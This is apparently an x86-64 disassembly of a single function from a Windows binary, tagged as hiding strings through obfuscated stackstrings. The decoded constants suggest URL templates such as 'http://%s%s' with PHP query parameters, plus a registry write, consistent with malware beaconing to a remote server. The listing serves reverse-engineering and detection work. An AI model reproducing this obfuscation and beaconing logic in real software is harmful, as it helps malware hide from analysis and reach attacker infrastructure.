Function at 0x140022790
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x188]
sub rsp, 0x260
mov qword [rbp - 0x80], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x140158280]
xor rax, rsp
mov qword [rbp + 0x150], rax
movzx r15d, dl
mov r12, rcx
mov qword [rsp + 0x70], rcx
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x68], 0
mov byte [rbp - 0x78], 0
call fcn.140016610
mov rdx, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x140022809
mov ecx, 0x80004005
call fcn.14000f440
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x40], rax
lea r9, str.9f5fb9578b66491e8e35bcb76046e5e5
mov r8, qword [r12]
lea rcx, [rsp + 0x40]
test r15b, r15b
je 0x14002286b
mov dword [rbp + 0x2b], 0x253d6469
mov word [rbp + 0x26], 0x6870
mov dword [rbp + 0x22], 0x2e736469
mov dword [rbp + 0x30], 0x253d6d26
mov word [rbp + 0x29], 0x753f
mov byte [rbp + 0x28], reloc.WS2_32.dll_WSASetLastError
mov word [rbp + 0x20], 0x752f
mov word [rbp + 0x34], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x2f], reloc.WS2_32.dll_WSAStartup
lea rdx, [rbp + 0x20]
jmp 0x14002289a
mov dword [rbp + 0x16], 0x73253d
mov dword [rbp + 0xe], 0x3d693f70
mov word [rbp + 0x13], 0x2673
mov dword [rbp + 9], 0x702e6969
mov byte [rbp + 0x15], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xd], 0x68
mov byte [rbp + 0x12], reloc.OLEAUT32.dll_SafeArrayDestroyDescriptor
mov byte [rbp + 8], Ordinal_50
lea rdx, [rbp + 8]
call fcn.140013110
call fcn.140016610
mov rdx, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x1400228be
mov ecx, 0x80004005
call fcn.14000f440
int3
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x30], rax
mov dword [rbp + 1], 0x732573
mov dword [rbp - 8], 0x70747468
mov dword [rbp - 3], 0x252f2f3a
mov byte [rbp - 4], reloc.WS2_32.dll_WSAStartup
movzx edx, r15b
lea rcx, [rsp + 0x58]
call fcn.1400166f0
nop
mov r9, qword [rsp + 0x40]
mov r8, qword [rax]
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x30]
call fcn.140013110
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140022928
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov byte [rbp + 0x40], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x41]
call fcn.140071640
mov edx, 0x104
lea rcx, [rbp + 0x40]
call fcn.1400145d0
xor esi, esi
nop dword [rax]
cmp esi, 3
jne 0x1400229c5
lea rcx, [rsp + 0x30]
test r15b, r15b
je 0x140022996
mov dword [rbp - 0x33], 0x706870
mov word [rbp - 0x35], 0x2e73
mov word [rbp - 0x38], 0x6975
mov byte [rbp - 0x36], 0x64
mov word [rbp - 0x55], 0x6870
mov word [rbp - 0x58], 0x6475
mov word [rbp - 0x53], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp - 0x56], reloc.WLDAP32.dll_Ordinal_46
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x38]
jmp 0x1400229c0
mov word [rbp - 0x4b], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp - 0x50], 0x702e6969
mov byte [rbp - 0x4c], 0x68
mov dword [rbp - 0x46], 0x7068702e
mov word [rbp - 0x48], 0x7575
mov byte [rbp - 0x42], 0
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x50]
call fcn.14001cb70
mov rcx, qword [rsp + 0x30]
add rcx, 0xffffffffffffffe8
call fcn.140012a20
add rax, 0x18
mov qword [rsp + 0x38], rax
mov word [rbp - 0x24], 0x3d65
mov word [rbp - 0x27], 0x6974
mov byte [rbp - 0x28], Ordinal_41
mov word [rbp - 0x22], 0x6425
mov byte [rbp - 0x20], 0
mov byte [rbp - 0x25], WSAGetLastError
call fcn.1400355c0
mov r8d, eax
lea rdx, [rbp - 0x28]
lea rcx, [rsp + 0x38]
call fcn.14000f170
lea rcx, [rsp + 0x20]
call fcn.14002d950
nop
lea r8, [rbp - 0x78]
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.14002e1c0
test al, al
je 0x140022b2d
call fcn.140016610
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
je 0x140022bb5
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x28], rax
mov word [rsp + 0x25], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0x24], reloc.OLEAUT32.dll_SafeArrayDestroyDescriptor
lea r8, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae r8, qword [rbp - 0x78]
lea rdx, [rsp + 0x24]
lea rcx, [rsp + 0x28]
call fcn.140013110
mov rdi, qword [rsp + 0x28]
xor ebx, ebx
cmp byte [rdi], bl
je 0x140022b01
movsx ecx, byte [rdi]
call fcn.140073578
test eax, eax
je 0x140022aa7
test rbx, rbx
jne 0x140022aa9
mov rbx, rdi
jmp 0x140022aa9
xor ebx, ebx
mov rcx, rdi
call fcn.14007309c
mov rdi, rax
cmp byte [rax], 0
jne 0x140022a91
test rbx, rbx
je 0x140022b01
mov rax, qword [rsp + 0x28]
sub ebx, eax
js 0x140022b73
mov edx, 1
sub edx, dword [rax - 8]
mov ecx, dword [rax - 0xc]
sub ecx, ebx
or ecx, edx
jge 0x140022aed
mov edx, ebx
lea rcx, [rsp + 0x28]
call fcn.14001ba70
mov rax, qword [rsp + 0x28]
cmp ebx, dword [rax - 0xc]
jg 0x140022b68
mov dword [rax - 0x10], ebx
movsxd rcx, ebx
mov rax, qword [rsp + 0x28]
mov byte [rcx + rax], 0
lea rcx, [rsp + 0x28]
call fcn.1400255f0
mov rcx, qword [rax]
mov rdx, qword [rsp + 0x28]
add rdx, 0xffffffffffffffe8
cmp dword [rcx - 0x10], 0x6c
je 0x140022b7e
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140022b2d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov ecx, Ordinal_301
call fcn.140037900
nop
lea rcx, [rsp + 0x20]
call fcn.14002d9e0
nop
mov rdx, qword [rsp + 0x38]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140022b5c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
inc esi
cmp esi, 6
jge 0x140022bc0
jmp 0x140022950
mov ecx, 0x80070057
call fcn.14000f440
int3
mov ecx, 0x80070057
call fcn.14000f440
nop
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140022b8f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rcx, [rsp + 0x20]
call fcn.14002d9e0
nop
mov rdx, qword [rsp + 0x38]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140022bc0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x140022bc0
mov ecx, 0x80004005
call fcn.14000f440
nop
cmp qword [rbp - 0x68], 0
je 0x140022c61
mov dword [rbp - 0x10], 0x4f53535c
mov word [rbp - 0x12], 0x6572
mov dword [rbp - 0x17], 0x7774666f
mov byte [rbp - 0xc], 0
mov byte [rbp - 0x13], reloc.OLEAUT32.dll_VarCyFromUI1
mov byte [rbp - 0x18], 0x53
mov word [rbp - 0x3b], reloc.WS2_32.dll_WSACleanup
mov dword [rbp - 0x40], 0x6b636954
mov byte [rbp - 0x3c], 0x65
lea rax, [rsp + 0x50]
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x60], rax
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0x10
cmovae rdx, qword [rbp - 0x78]
lea rcx, [rsp + 0x50]
call fcn.14000da00
mov rdi, rax
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x48]
call fcn.14000da00
mov rbx, rax
lea rdx, [rbp - 0x18]
lea rcx, [rsp + 0x68]
call fcn.14000da00
nop
mov r9, rdi
mov r8, rbx
mov rdx, rax
mov rcx, 0xffffffff80000002
call fcn.140024a10
nop
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140022c7b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140022c95
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
cmp qword [rbp - 0x60], 0x10
jb 0x140022ca5
mov rcx, qword [rbp - 0x78]
call fcn.14006e9f4
mov qword [rbp - 0x60], reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x68], 0
mov byte [rbp - 0x78], 0
mov rdx, qword [r12]
sub rdx, 0x18
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140022cd1
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.14006ed70
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret